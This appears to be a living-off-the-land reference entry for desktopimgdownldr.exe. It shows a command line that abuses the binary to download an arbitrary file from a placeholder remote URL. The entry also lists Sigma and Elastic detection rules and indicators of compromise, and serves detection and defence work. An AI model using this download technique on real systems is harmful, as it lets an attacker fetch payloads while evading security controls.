Desktopimgdownldr.exe
Windows binary used to configure lockscreen/desktop image
Paths
c:\windows\system32\desktopimgdownldr.exe
Commands
Download
Downloads the file and sets it as the computer's lockscreen
Use case: Download arbitrary files from a web server
Privileges: User
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldrDetection
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml
- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml
- IOC: desktopimgdownldr.exe that creates non-image file
- IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl